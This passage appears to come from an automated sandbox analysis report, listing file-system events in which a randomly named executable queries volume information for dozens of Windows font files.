Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Kh25PMA7u8.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
